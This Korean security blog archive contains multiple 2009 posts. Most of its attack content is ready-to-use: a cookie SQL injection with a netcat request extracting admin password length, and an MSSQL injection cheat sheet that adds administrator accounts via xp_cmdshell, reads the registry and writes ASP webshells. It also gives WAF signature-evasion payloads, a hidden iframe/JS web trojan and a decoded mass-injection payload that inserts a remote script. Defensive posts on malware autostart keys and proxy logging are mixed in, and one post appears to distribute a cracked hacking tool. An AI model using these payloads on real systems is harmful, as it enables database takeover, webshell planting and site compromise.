http://xmcn.com/city의 개발의 1세트의 개방의 소스코드의 지역사회 절차이다; 여개의 문서는 변수가 존재하여 아직 특수 문자를 필터링하지 않기 때문이고, 사용자가 불법으로 침투하여 관리자 비밀번호를 얻는다. 문제 문서는 비교적 많기 때문이고, 여기를 특별히 1개의 간단한 user photo.asp을 골라 가져 해명으로 한다.
user photo.asp 스크립트는 사용자 사진을 올린 것으로 사용자를 검증하여 이미 로그온된 것인지를 체크한다.

if Request.Cookies("NC")=" " or Request.Cookies("NC")="방문객 "then
Response.Write (" 당신은 지역사회 사용자가 아니어서 등록해 주십시오! ")
Response.End
end if

Cookies를 사용할 때 NC 변수 값이 널이거나 "방문객" 사용자인지를 판단한다. 데이타베이스에 대해 이 사용자가 존재하지 않으며 에러를 리턴한다.

set rs=server.createobject("adodb.recordset")
set rs=conn.execute("Select * from HY Where NC='"&Request.Cookies("NC")&"'")

Request.Cookies에게 (" NC" ) 값을 직접 SQL 쿼리로 밀어 넣는 식의 방식으로 Cookies를 통한 SQL injection을 시도할 수 있다.

..... 부분 코드를 생략한다
" width="200" height="150">
 
공격)

C:/nc -vv 127.0.0.1 80 <1.txt >1.htm ,그 중 127.0.0.1은 Mini 도시 지역사회의 서버 IP 주소이고80은 포트, 1.htm 서버에서 리턴된 결과를 저장하고, 1.txt은 아래 공격코드임.
 
1.txt 의 내용
GET /mcity/main.asp HTTP/1.0
Host: 127.0.0.1
Cookie: NC=goo%27and%20exists(select%20id%20from%20HY%20where%20len(MM)%3D0%27and%20NC%3D%27admin%27)%20and%20%271;
 
우리는 Cookies 중의 NC 데이터를 SQL 인젝션을 시도하여 시스템 명령이 실행가능한지를 알아보려고 한다

Select * from HY Where NC='goo'and exists(select id from HY where len(MM)=7 and NC='admin') and '1'
 
사용자 이름이 admin인 비밀번호 길이는 7글자 인 것을 알 수 있다. 기타 SQL 쿼리문은 위와 같이 구성한다.
2009/08/11 14:49 2009/08/11 14:49
중국 블로그 사이트에 있는 어떤 해커의 해킹기법 중 좀 특이한 케이스를 소개한 내용입니다. 번역이 좀 매끄럽지가 않아서 약간 재구성해 보았습니다.
 
보통 DBMS에서 SQL injection 취약점이 존재하지만, Cookies에서도 SQL 인젝션을 구현할 수 있다. 
http://xmcn.com/city의 개발의 1세트의 개방의 소스코드의 지역사회 절차이다; 여개의 문서는 변수가 존재하여 아직 특수 문자를 필터링하지 않기 때문이고, 사용자가 불법으로 침투하여 관리자 비밀번호를 얻는다. 문제 문서는 비교적 많기 때문이고, 여기를 특별히 1개의 간단한 user photo.asp을 골라 가져 해명으로 한다.
user photo.asp 스크립트는 사용자 사진을 올린 것으로 사용자를 검증하여 이미 로그온된 것인지를 체크한다.

if Request.Cookies("NC")=" " or Request.Cookies("NC")="방문객 "then
Response.Write (" 당신은 지역사회 사용자가 아니어서 등록해 주십시오! ")
Response.End
end if

Cookies를 사용할 때 NC 변수 값이 널이거나 "방문객" 사용자인지를 판단한다. 데이타베이스에 대해 이 사용자가 존재하지 않으며 에러를 리턴한다.

set rs=server.createobject("adodb.recordset")
set rs=conn.execute("Select * from HY Where NC='"&Request.Cookies("NC")&"'")

Request.Cookies에게 (" NC" ) 값을 직접 SQL 쿼리로 밀어 넣는 식의 방식으로 Cookies를 통한 SQL injection을 시도할 수 있다.

..... 부분 코드를 생략한다
" width="200" height="150">
 
공격)

C:/nc -vv 127.0.0.1 80 <1.txt >1.htm ,그 중 127.0.0.1은 Mini 도시 지역사회의 서버 IP 주소이고80은 포트, 1.htm 서버에서 리턴된 결과를 저장하고, 1.txt은 아래 공격코드임.
 
1.txt 의 내용
GET /mcity/main.asp HTTP/1.0
Host: 127.0.0.1
Cookie: NC=goo%27and%20exists(select%20id%20from%20HY%20where%20len(MM)%3D0%27and%20NC%3D%27admin%27)%20and%20%271;
 
우리는 Cookies 중의 NC 데이터를 SQL 인젝션을 시도하여 시스템 명령이 실행가능한지를 알아보려고 한다

Select * from HY Where NC='goo'and exists(select id from HY where len(MM)=7 and NC='admin') and '1'
 
사용자 이름이 admin인 비밀번호 길이는 7글자 인 것을 알 수 있다. 기타 SQL 쿼리문은 위와 같이 구성한다.
2009/08/11 14:49 2009/08/11 14:49

1. 다음과 같은 조건식을 삽입한다.
 ;and 1=1
 ;and 1=2 
 ;and user>0

2. 기본적으로 제공되는 기본 시스템 오브젝트에 대한 조건식을 검사해 본다.
 ;and (select count(*) from sysobjects)>0 mssql
 ;and (select count(*) from msysobjects)>0 access
 
3. where 조건식을 넣어 본다.
 'and ''=' 
 'and  '%25'='


4. select 구문을 사용한다.
 ;and (Select Count(*) from [테이블명])>0 --
 ;and (select top 1 len(열수) from 테이블명)>0


5. 컬럼명 추출
(1) Access 경우 :  and (select top 1 asc(mid(컬럼명, 1,1)) from 테이블)>0 
 
(2) Mssql의 경우 :  and (select top 1 unicode(substring(컬럼명,1,1)) from 테이블명)>0
 
6. 데이터베이스 권한

 ;and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'));-- 
 ;and 1=(SELECT IS_SRVROLEMEMBER('serveradmin'));-- 
 ;and 1=(SELECT IS_SRVROLEMEMBER('setupadmin'));-- 
 ;and 1=(SELECT IS_SRVROLEMEMBER('securityadmin'));--
 ;and 1=(SELECT IS_SRVROLEMEMBER('diskadmin'));--
 ;and 1=(SELECT IS_SRVROLEMEMBER('bulkadmin'));-- 
 ;and 1=(SELECT IS_MEMBER('db_owner'));-- 


7. 스토어프로시저를 이용한 계정 추가하기  
 ;exec master.dbo.sp_addlogin username;--
 ;exec master.dbo.sp_password null,username,password;--
 ;exec master.dbo.sp_addsrvrolemember sysadmin username;--
 ;exec master.dbo.xp_cmdshell 'net user username password /add';--
 ;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
 
8. dir 결과쿼리하기 
 ;create table dirs(paths varchar(100), id int)
 ;insert dirs exec master.dbo.xp_dirtree 'c:' 
 ;and (select top 1 paths from dirs)>0
 ;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)


9. 디렉터리 정보 추출하기 및 웹쉘 실행  
 ;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 
 ;insert temp exec master.dbo.xp_availablemedia;-- 
 ;insert into temp(id) exec master.dbo.xp_subdirs 'c:';-- 
 ;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:';-- 
 ;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:webindex.asp';--


10. 확장스토어 프로시저 공격

 xp_regenumvalues 
 ;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftWindowsCurrentVersionRun'  
 
xp_regread  
 ;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftWindowsCurrentVersion','CommonFilesDir'  
 
xp_regwrite  
 ;exec xp_regwrite HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','ValueName','reg_sz','hello'

 xp_regdeletevalue
 exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftWindowsCurrentVersion','TestValueName'

xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftWindowsCurrentVersionTestkey'


10.mssql의 backup용 webshell 생성하기
 use model
 create table cmd(str image);
 insert into cmd(str) values ('<% Dim oScript %>');
 backup database model to disk='c:l.asp';
 
11.버전확인하기
 ;and (select @@version)>0 
 ;and user_name()='dbo'
 ;and (select user_name())>0 
 ;and (select db_name())>0 


12.webshell
 use model 
 create table cmd(str image);
 insert int cmd(str) values ('<%=server.createobject("wscript.shell").exec("cmd.exe /c "&request("c")).stdout.readall%>');
 backup database model to disk='g:wwwtestl.asp'; 

2009/08/11 14:47 2009/08/11 14:47
크랙을 했는데 프로그램에 치명적인 에러로 인해 Exception Handling Error가 발생해서 작동이 안되네요. 중국 최고의 해킹 툴 류광(일명 휘황찬란한 빛) 5.0 베타버전을 크랙해서 써보나 했는데.. 역시나 크랙이 불안하게 되었습니다. oxid의 cain과 쌍벽을 이루는 최고의 해커 만능 연장임을 감히 말할 수 있습니다. 특히 Pipecmd.exe, sqlrcmd.exe의 위력은 대단한 테크닉 기교입니다.
특히 이번 버전은 이전에 보다 기능이 월등하 뛰어나서 기존에 취약점만 찾아주는 게 하니라 아예 해킹 exploit code를 구동시켜서 자동으로 해킹까지 해줍니다.  
사용자 삽입 이미지

자료를 첨부 할까 말까 고민하다가.
첨부 합니다.
그리고 해킹 툴이라서 백신에서 바이러스로 인식합니다 . 참고 하십시오.
2009/08/11 14:45 2009/08/11 14:45
보통 스파이웨어는 리부팅후에도 자동으로 실행이 되도록 설정이 됩니다. 따라서 자동 실행(Auto Start)되는 환경설정 파일들만 제대로 점검하면 스파이웨어 감염 및 제거를 용이하게 할 수 있습니다.

보통 Auto Start시키는 설정은 다음과 같습니다. 여기에서 예제 스파이웨어 파일명을 malware.exe로 가정해 보겠습니다.

1) win.ini 파일에서 다음과 같이 설치됩니다

[winodws]
load = malware.exe
run = malware.exe

2) system.ini 파일에서 다음과 같이 추가됩니다.

[boot]
Shell = explorer.exe malware.exe

3) Autoexec.bat 파일에서
%windir%system32% 디렉터리 밑에 malware.exe

4) Registry Shell Open

[HKEY_CLASS_ROOT/exefile/shell/open/command]
[HKEY_LOCAL_MACHINE/Software/Classes/exefile/shell/open/command]
"malware.exe %1 %*" 요런식으로 값이 들어가 있습니다.

5) Alternative Registry Keys

[HKEY_CLASSES_ROOT.exe] @="myexefile"]
[HKEY_LOCAL_MACHINE/Software/Classes/myexefile/shell/open/command@="malware.exe %1 %*"]
winstart.bat

6) Main 레지스트리에 등록되는 경우
[HKEY_LOCAL_MACHINE/SoftwareMicrosoft/Windows/CurrentVersion/RunServices]
[HKEY_LOCAL_MACHINE/SoftwareMicrosoft/Windows/CurrentVersion/RunServicesOnce]
[HKEY_LOCAL_MACHINE/SoftwareMicrosoft/Windows/CurrenVersion/Run]

6) wininit.ini 에 혹시 등록되어 있는 프로그램이 없는지 확인
2009/08/11 14:44 2009/08/11 14:44
새삼스럽게 최근의 나온 것은 아니지만, 활용여부에 따라 테크닉에 상당한 도움이 될 것 같아 올려봅니다. 요즘 다시 DBMS 공부해보는데 참 재밌네요.(IMPERVA 문서를 많이 참고했습니다.)

SQL Injection Signatures Evasion
       
1. 이 문서에 대한 요약

URL Request에 arbitrary string(악의적인 문자열)을 삽입시키는 일반적인 형태는 다음과 같이 이루어 집니다. 웹 애플리케이션의 사용자 입력값을 받는 모든 폼, 검색창 형태들이 이에 해당됩니다. 아래의 예처럼 변수의 변수값에 직접적으로 삽입이 이루어진다.

예) 만약에 시스템에 string 필드 값이 존재하지 않는 경우에는 새로운 파라메터에 간단히 추가할 수 있다.(이런 경우 일부 웹 애플리케이션은 이를 차단하거나 무시함)

....$id=43&testparam=malicious code

SQL Injection이 탐지가 되는 경우에 SQL Comment 문자열(/* */)에 대한 signature가 존재하지 않을 때, 이럴 경우 간단히 injection시킬 수 있다.

....$dbid=original’ --

또 다른 테크닉 기법으로는 SQL Injection 취약점이 탐지되고, AND 키워드에 대한 Signature가 존재하지 않을 때 패턴은 다음과 같이 된다.

....$dbid=original’ AND ‘100’=’100’

대부분의 웹 사이트에서 이러한 취약점들을 가지고 있다. 이런 키워드 탐색을 통해서 SQL Injection의 가능성 여부를 알아볼 수 있다.
두번째 단계로 SQL 구문을 통한 공격이 이루어지 질 수 있는데, 아래와 같은 SQL 구문을 통해 필터링여부를 조사하게 된다.

- UNION SELECT
- OR 1=1
- exec sp_  또는 xp_  로 시작되는 스토어 프로시저(확장 스토어 프로시저)
- declare @s out
       
2. 일반적인 회피기법(Common Evasion Techniques)

1) Different Encoding : 다양한 인코딩 방식을 사용한 Evasion 기법
2) White Space 다양성(Diversity) : 일반적으로 SQL Injection 공격을 회피하기 위해 둘 이상의 스페이스 문자를 삽입시키는 경우 White Space에 의해 분리된다. 즉, 여러 개의 스페이스문자가 삽입되더라도 한번의 스페이스로 대체될 필요가 있다.

3) IP Fragmentation 및 TCP Segmentation
몇몇 Product에서는 TCP/IP 프레그먼트에 대한 취약점은 여전히 존재하고 있다.

3. Advanced 회피기법(Advancesd Evasion Techniques)

3.1 OR 1=1 Signature 기법
가장 일반적으로 사용되는 공격, 보통 탐지 Signature는 정규표현식으로 구성되어있다. 그러나 교묘한 방법을 사용하는 다양한 형태의 공격이 가능하다.

   - OR  ‘unusual’ = ‘unusual’

간단한 트릭을 쓰면 다음과 같이 ‘N’ 문자나 ‘+’를 삽입해 보는 경우이다. 이런 방식을 이용하면 간단히 Signature 기반의 탐지 메커니즘을 쉽게 우회할 수 있다. 광범위하고 다양한 정규표현식을 필터링을 하는 제품의 경우에는 이런 공격을 차단할 수 있다.
 
   - OR  ‘Simple’ = N’Simple’
   - OR  ‘Simple’ = ‘Sim’+’ple’
- OR  ‘Simple’  LIKE ‘Sim%’

또는 ‘<’, ‘>’ 를 사용하기도 한다.

  - OR  ‘Simple’ > ‘S’
  - OR  ‘Simple’ < ‘X’
  - OR 2 > 1

IN 또는 BETWEEN 구문을 사용하는 경우도 있다.(MS SQL 구문에서 유효함)

- OR  ‘Simple’  IN (‘Simple’)
- OR  ‘Simple’  BETWEEN ‘R’ AND ‘T’
(후자는 MS SQL에서만 유효하지만, 대부분의 DB에서도 간단하게 수정하는 것이 가능하 것으로 본다)  그러나 OR 키워드 형태로 Signature 했을 경우 발생가능한 오탐(false positive)의 경우도 있다.

  http://site/ordier.asp?ProdID=5&Quantity=4

3.2 White Spaces Evading Signature
  White space(스페이스 문자)가 포함된 공격에서의 Signature에 대한 정확도가 문제가 발생할 가능
  성을 염두에 둘 필요가 있다.
  단순히 ‘UNION SELECT’ 나 ‘EXEC SP_(XP_ )’ 형태의 탐지 패턴은 높은 정확성을 보일 수 있다.
  예를 들면 MS SQL 서버에서는 SQL 키워드 또는 number나 string 사이에 스페이스 문자는 생략될
  수 있어 아주 쉽게 Evasion이 허용될 수 있다.
 
..origText’  OR  ‘Simple’ = ’Simple’ 이 다음처럼 될 수 있다.
..origText’OR’Simple’=’Simple’

그러나 이런 공격은 UNION SELECT Statement 구문에서는 동작하지 않는다. 왜냐하면 두 키워드 사이는 반드시 분리되어야 하기 때문이다. 따라서 스페이스문자 보다는 C 언어의 Comment syntax를 이용하면 evasion이 가능할 수도 있다.(/*  … */ 이런 형태)

select *
from tblProducts   /* List of Prods */
where ProdID = 5

C-Like comment 형태의 공격은 다음과 같다. 실제로 comment 부분을 나타내는 ‘/**/’이 스페이스 문자로 대체된다.

....&ProdID=2  UNION  /**/  SELECT  name ....
....&ProdID=2/**/UNION/**/SELECT/**/name ....
....&origText’/**/OR/**/’Simple’=’Simple’

http://site/login.asp?User=X&Pass=Y

....login.asp?User=X’OR’1’1/* &Pass=Y*/=’1

실제 SQL 쿼리 구성은 다음과 같다
 
  Select * from Users where User=’X’OR’1’/* AND Pass=’*/=’1’

3.3 Evading Any String Pattern
  단독 키워드의 경우에는 false positive가 발생한다. 같은 Comment 형태로 MySQL에서는 다음과
  같은 형태로 공격에 사용될 수 있다.

     ....UN/**/ION/**/SE/**/LECT/**/  ....
 
  MS SQL에서 스토어 프로시저를 실행시키는 EXEC를 아래와 같은 형태로 공격을 할 수 있다.  
  INSERT INTO를 두부분으로 분리하여 Injection 시킨다. 이럴 경우 Signature 메커니즘에서 탐지가
  안된다.
  또한 이와 유사한 공격으로 MS SQL에서는 SP_EXECUTESQL 라는 확장 스토어 프로시저를 사용
  한다. 그러나 새로운 버전에서는 SP_SQLEXEC 프로시저로 이름이 변경되었다. 이들 모두 SQL 쿼
  리를 실행시킬 수 있다. 참고로 Oracle에서는 ‘EXECUTE IMMEDIATE’가 이와 동일한 기능을 수행
  한다.

     ....; EXEC (‘INS’+’ERT INTO....’)

한가지 주목할 점이 MS SQL에서 헥사코드로 인코딩된 스트링이 실행된다는 것이다. 이 방식대로 한다면 ‘SELECT’는 헥사코드 번호 0x73656C656374로 표현이 되고 탐지가 되지 않는다.
또 한가지 다른 예는 MS SQL 서버에서 OPENROWSET 구문과 관련된 것이다. 가장 널리 알려지고 오랜된 이 기법이 아직도 유효하게 사용되는 곳이 많이 존재하고 있고, 대부부의 Signature 기반의 제품들에서는 탐지를 못하는 경우가 발생하고 있다. 그리고 MS SQL 서버에서 SQL 쿼리를 실행시킬 수 있는 Unlisted 스토어 프로시저가 존재하고 있다.
sp_prepare, sp_execute 이 프로시저는 MS SQL 서버 어디에도 나타나지 않는다. 따라서 이들 프로시저를 이용한 공격은 탐지가 안될 가능성이 있다. 다른 DB에도 이와 유사하게 Undocument 프로시저가 있을 수 있다. Undocument 프로시저를 이용한 공격이 현재로서는 충분히 가능성 있어 보인다.

4. 결론

1) 모든 SQL 구문에 사용되는 문자열에 대한 탐지가 필요한데 이때 약간의 인공지능식 검색이 필요할 듯 싶다.(검색 조건의 AND와 OR 조건에 따른 오탐의 여부가 많은 것이 단점이다.)
(INSERT, INTO, UNION, SELECT, DELETE, UPDATE, CREATE, FROM, WHERE, OR, AND, LIKE, SQL, ROWSET, OPEN, BEGIN, END, DECLARE)

2) 모든 스토어 프로시저의 탐지 및 차단(실제 서비스에서는 프로시저를 써야하는 곳이 많아서 이부분은 적극적인 권장사항은 아니지만 가급적 최소화하는데 목적을 두고 싶다)
(EXEC, SP_, XP_ )

3) 모든 메타문자 차단
  (;  --  +  ‘  (  )  =  >  <  @  *)
2009/08/11 14:43 2009/08/11 14:43

중국애들이 ccproxy를 통해 해킹시도할 때 real ip가 숨겨지죠. 그렇다고 real ip 못찾는 건 아니지만 IIS 로그에서 프록시를 통해서 Request 한 실제 IP를 남기는 설정방법이 있습니다.

몇몇 프록시 서버는 HTTP 헤더에 "X-Forwarded-For"추가하여 실제 공격자 IP를 포함시키는 경우가 있습니다.

이것을 IIS에서 남기도록 제한하는 설정으로 ASP 코드에 "Respnse.AppendToLog" 메소드를 사용하여 URL 쿼리상에 남기도록 설정할 수 있습니다.

단 이때 제약 사항은 IIS 로그에는 남지 않고 URI에서 나타나기 때문에 "pipe( | )" 문자로 구분해 줘야 합니다.

아래 ASP 코드는 Proxy 헤더 로그를 추가하도록 설정하는 방법입니다.

<%

   sHeader = Request.ServerVariables("X-Forwarded-For")

   if Len(sHeader)

     Then

            Response.AppendToLog " | " & sHeader

%>

 

추가로 포워드된 Proxy 헤더 정보가 남기게 됩니다.

Client IP, Remote_Addr, Remote_Host, Forwarded, VIA, HTTP_From, Remote_Host_Wp, Xconnection, Xroxy_Connection, X_Locking

2009/08/11 14:42 2009/08/11 14:42
류광으로 유명한 netXeyes에서 만든 상용제품으로 matrixay 라는 DB 보안진단툴입니다.
사용자 삽입 이미지
2009/08/11 14:40 2009/08/11 14:40

요즘 유행하는 웹 트로이목마를 만드는 자바스크립트

1. 아래와 같은 iframe에 있는 사이트의 test.html 파일에는 악의적인 js가 숨겨져 있다.

<iframe src=http://www.test.com/test.html width=100 height=0 frameborder=0>

2. 숨겨진 js에 들어 있는 내용
document.writeln("<!DOCTYPE HTML PUBLIC \"-\/\/W3C\/\/DTD HTML 4.0 Transitional\/\/EN\">");
document.writeln("<HTML><HEAD>");
document.writeln("<META http-equiv=Content-Type content=\"text\/html; charset=big5\">");
document.writeln("<META content=\"MSHTML 6.00.2900.3059\" name=GENERATOR><\/HEAD>");
document.writeln("<BODY> ");
document.writeln("<DIV style=\"CURSOR: url(\'http:\/\/www.test.com\/\/z1.jpg\')\">");
document.writeln("<DIV ");
document.writeln("style=\"CURSOR: url(\'http:\/\/www.test.com\/\/z2.jpg\'
\"><\/DIV><\/DIV><\/BODY><\/HTML>")

3. test.js

<script src="http://www.test.com/test.js"></script>

2009/08/11 14:36 2009/08/11 14:36

Windows 2008 서버에는 Hyper-V라는 새로운 기능이 추가되어 있다고 합니다.
이 Hyper-V 는 한마디로 가상화 핵심기술이 다 녹아 들었습니다. 향후 가상화 기술이 보안기술의 핵심으로 등장할 전망입니다.

MS와 VMware가 가상화로 일대 생존을 건 치열한 격전을 치르게 될 것은 분명하고요.
일단 Hyper-V에서 지원되는 핵심기능을 살펴보면 입이 딱 벌어질 정도로 다음과 같습니다.

1. 가상 랜(Virtual LAN) 지원
2. 가상 머신을 위한 대용량 메모리 지원
3. 동시에 32비트와 64비트 구동
4. 각각의 가상 O/S(Guest OS라고 부르는 것 같음)마다 4CPU와 32GB 메모리 지원
5. 가상 머신을 위한 원 프로세스 또는 다수 프로세스 지원
6. Snapshot 기능 지원(VMware에서 가상 머신의 상태를 잠시 캡쳐해두고 멈추는 기능)
7. 간편한 마이그레이션 지원(VMware의 VMotion 기능과 유사한 것)으로 셧다운 없이 하나의 가상머신에서 다른 머신으로 옮겨지는 기능 지원
8. 가상 머신마다 네트워크 로드 발렌싱 기능 지원
9. 마이크로소프트의 가상 머신 관리자(Microsfot Virtual Machine Manager)로 중앙에서 가상 머신을 관리할 수 있음

2009/08/11 14:28 2009/08/11 14:28
본 글은 isc.sans.org에 올라온 글을 참조해서 재구성한 것이다.
다음 로그는 공격로그의 한 부분이다. 공격 로그 중 SQL 구문이 GET 부분에 들어가 있는 것을 볼 수 있다.

GET /home/site_content_3.asp

s=290';DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0x6400650063006C00610072006500200040006D00200076006100720063006800610072002800380030003000300029003B00730065007400200040006D003D00270027003B00730065006C00650063007400200040006D003D0040006D002B0027007500700064006100740065005B0027002B0061002E006E0061006D0065002B0027005D007300650074005B0027002B0062002E006E0061006D0065002B0027005D003D0072007400720069006D00280063006F006E007600650072007400280076006100720063006800610072002C0027002B0062002E006E0061006D0065002B002700290029002B00270027003C0073006300720069007000740020007300720063003D00220068007400740070003A002F002F0079006C00310038002E006E00650074002F0030002E006A00730022003E003C002F007300630072006900700074003E00270027003B0027002000660072006F006D002000640062006F002E007300790073006F0062006A006500630074007300200061002C00640062006F002E0073007900730063006F006C0075006D006E007300200062002C00640062006F002E007300790073007400790070006500730020006300200077006800650072006500200061002E00690064003D0062002E0069006400200061006E006400200061002E00780074007900700065003D0027005500270061006E006400200062002E00780074007900700065003D0063002E0078007400790070006500200061006E006400200063002E006E0061006D0065003D002700760061007200630068006100720027003B00730065007400200040006D003D005200450056004500520053004500280040006D0029003B00730065007400200040006D003D0073007500620073007400720069006E006700280040006D002C0050004100540049004E004400450058002800270025003B00250027002C0040006D0029002C00380030003000300029003B00730065007400200040006D003D005200450056004500520053004500280040006D0029003B006500780065006300280040006D0029003B00%20AS%20NVARCHAR(4000));EXEC(@S);--


위에서 보다시피 실제 구문은 인코딩되어 있어 금방은 알 수 없게 했다.
공격자는 CAST 구분을 사용해서 공격을 쉽게 탐지하지 못하도록 혼란 공격(Obfuscate Attack) 기법을 사용하고 있다.
CAST 구문은 타입을 다른 타입으로 Convert 시켜주는 역할을 한다.
CAST 된 구문은 "@S"의 Input 되고 실행이 된다.

이 코드를 아래 펄 명령어를 사용해서 디코딩한 것이 다음과 같다.

$ perl -pe 's/(..)00/chr(hex($1))/ge' < input > output


[디코딩 결과]

declare @m varchar(8000);set @m='';select @m=@m+'update['+a.name+']set['+b.name+']=rtrim(convert(varchar,'+b.name+'))+''<script src="http://yl18.net/0.js"></script>'';'
from dbo.sysobjects a,dbo.syscolumns b,dbo.systypes c where a.id=b.id and a.xtype='U'and b.xtype=c.xtype and c.name='varchar';
set @m=REVERSE(@m);set @m=substring(@m,PATINDEX('%;%',@m),8000);set @m=REVERSE(@m);exec(@m);


이 SQL 구문은 sysobject 테이블을 type U(User) 테이블의 모든 row를 가져오는 것이다.
결국 각 오브젝트에 yl18.net. 사이트 주소 코드를 추가하도록 업데이트 명령을 실행 시키는 구문이다.
이 공격을 받은 웹 사이트는 IIS와 MS SQL 서버가 설치된 경우이다. 특히 주목할 것이 바로 Evading을 하기 위해서 CAST나 CONVERT 명령어를 쓴다는데 유의해야 한다.

[원문]

Published: 2008-01-09,
Last Updated: 2008-01-09 09:05:44 UTC
by Bojan Zdrnja (Version: 1)
http://isc.incidents.org/diary.html?storyid=3823
2009/08/11 14:21 2009/08/11 14:21
트렌드마이크로에서 사용자 PC의 bot 같은 Activity를 모니터링하는 간단한 툴입니다.

[다운로드]
http://www.trendsecure.com/portal/en-US/tools/security_tools/rubotted
2009/08/11 14:20 2009/08/11 14:20

워낙 중국 해커들 게임해킹 실력은 장난이 아니라서 왠만한 게임분석은 어렵지 않게 합니다.
옛날 중국애들이 분석한 리니지2 (천당2)의 게임를 분석한 내용입니다. 대충 보시면 어떻게 구성되고 구동되는지 짐작할 수 있습니다.

必备条件:
1、操作系统 Windows 2003 Enterprise Edition
2、数据库   Microsoft SQL Corpotation 2000+SP4
3、天堂II服务端程序

L2server.exe  及其相关配置文件
L2NPC.exe    及其相关配置文件
L2AuthD.exe  及其相关配置文件
Cached.exe  及其相关配置文件
Html 以及 Scrip t脚本目录
GeoData  地图文件
Patch.dll  四章功能扩展文件

4、数据库脚本
① lin2comm_new(IP) 脚本内包含服务器IP地址、数据库访问用户名(gamma)、对应用户名的密码用记事本打开修改一下
② 1_lin2db
③ 2_lin2db_update
④ lin2report
⑤ lin2user
⑥ 1_lin2world 脚本内包含服务器IP地址、数据库访问用户名(gamma)、对应用户名的密码 用记事本打开修改一下
⑦ 2_lin2world(这个是四章的第二个Lin2world库的脚本)

[boot loader]
timeout=30
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS
[operating systems]
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Windows Server 2003, Enterprise" /fastdetect /3GB
减少lin2server停止错误(加完/3GB以后不要加载任何启动程序例如:防火墙系统容易蓝屏需要启动安全模式下删除启动程序)

之前请先确认你从来没有运行过服务器端的应用程序,如果运行了,请运行regedit删除
[HKEY_LOCAL_MACHINE\SOFTWARE\NCSOFT]
[HKEY_LOCAL_MACHINE\SOFTWARE\PROJECT_L2]
这两个键值,如果没有运行过轻跳过这一步,进入下面的步骤

调整好了操作系统之后就可以开始安装SQL了。SQL的安装过程就不用我多说了吧?自己记住SA的密码就好了。
安装好SQL之后打开企业管理器依次创建 Lin2comm Lin2db Lin2report Lin2user Lin2world这5个数据库。创建好了之后进入安全性--〉登陆 创建一个名为gamma的用户,然后在创建窗口最上面选择数据库访问标签。依次给Lin2comm Lin2db Lin2report Lin2user Lin2world这5个数据库选中Public以及db_owner角色。5个数据库全都要选择这2个角色。然后点确定,再次输入Gamma的确认密码就Ok了。

将Patch.dll复制到windows\system32 并且设置只读属性。

然后去ODBC建立文件DSN。过程:选择文件DSN标签--〉添加---〉SQL Server---〉下一步---〉数据源名字(和数据库名字一样就OK了。一共5个。)---〉剩下的一路填写相关信息就建立好了。对应5个数据库全部都要建立。

之后建立系统DSN,一共2个,一个指向Lin2db 一个指向Lin2world 使用Windows NT验证方式。

然后打开SQL的查询分析器,输入gamma的用户名和密码,对应每个数据库打开数据库脚本,然后执行就OK了。
注意:Lin2db和Lin2world都有2个脚本。按照顺序依次执行查询。

数据库脚本查询后的重要一步,打开lin2d库中的server表,填入以下内容
PS:此处填写的两个IP地址第一个是外网IP地址,第二个是内网IP,如果不开内网就写外网的。都不能使用域名。为什么别问我,NCsoft说了算。
1   名字   服务器ip   服务器ip   1   1   1   端口
1   XXWZ   222.222.222.222   222.222.222.222   1   1   1   7777

现在开始配置服务器端的配置文件

NewAuth\etc\config.txt

serverPort = 2104
serverExPort = 2106
serverIntPort = 2108
worldport = 7777
DBConnectionNum=10
encrypt = true
numServerThread = 2
numServerExThread = 2
numServerIntThread = 2
logDirectory="d:\l2serverwork\log"
;30206 : l2, 30310 : Sl
ProtocolVersion = 30810
;8:lineage2, 4 halo
GameID=8
DesApply=false
PacketSizeType = 3
ReadLocalServerList=false
OneTimeLogOut=true
CountryCode=3
DevConnectOuter=true
DevServerIP="222.222.222.222" <---此处填写外网IP地址
下面内容省略了。都一样。


L2Server\l2server.ini

[CacheD]
address="222.222.222.222" <---此处填写外网IP地址
port=2006

[AuthD]
;l2server
address="222.222.222.222" <---此处填写外网IP地址
port=2104

[World]
WorldId=3
UserLimit=1500 <---此处是服务器连接最大数限制
;LetBuilder=1

[PetitionD]
address="222.222.222.222" <---此处填写外网IP地址
port=2107
WorldName="publish03"
;world name must be exact 9 characters.

[Report]
Interval=50   <---此处是报告时间,调的长一点可以节约资源

[Setting]
country=3
UserPathFind=false
WorldCollision=false
ExceptionMailing=false
MailServer=mail.ncsoft.co.kr
AcceptLowerProtocol=true
IOBufferCount=6000   <---此处是个重要的参数,机器越差请调整的越低
;limit hour for week, (number means hour. 0 means don't use. default is 0)
playtimelimit=0

reconnectauth=1
;use auth reconn (1:use, 0:don't. default is 0)这里填写0为服务器维护 1为正常开启

www.5 uwl.net
L2NPC\ L2NPC.ini

[CacheD]
address="222.222.222.222" <---此处填写外网IP地址
port=2008

[Server]
address="222.222.222.222" <---此处填写外网IP地址
port=2002

[db]
address="222.222.222.222" <---此处填写外网IP地址
port=2005
user="gamma"     <---此处填写数据库用户名
password="xxxxxxx"   <---此处填写数据库密码

[map]
directory="geodata"

[LogD]
address="222.222.222.222" <---此处填写外网IP地址
port=3999

[World]
WorldId=3

[Setting]
country=3
ExceptionMailing=false
MailServer=ncs-mail.ncsoft.co.kr

全部配置完成后,请依次运行运行:

CacheD--------------------第1个启动
第一次输入
File DB:lin2world
Log Name:gamma
Passwoed:你的gamma密码
第二次输入
File DB:lin2comm
Log Name:gamma
Passwoed:你的gamma密码
NewAuth------------------第2个启动
File DB:lin2db
Log Name:gamma
Passwoed:你的gamma密码
L2Server------------------第3个启动
L2NPC--------------------第4个启动

2009/08/11 14:18 2009/08/11 14:18

최근 Zone-h.org에서 이슬람 해킹 툴에 관한 흥미로운 기사가 하나 있었습니다.
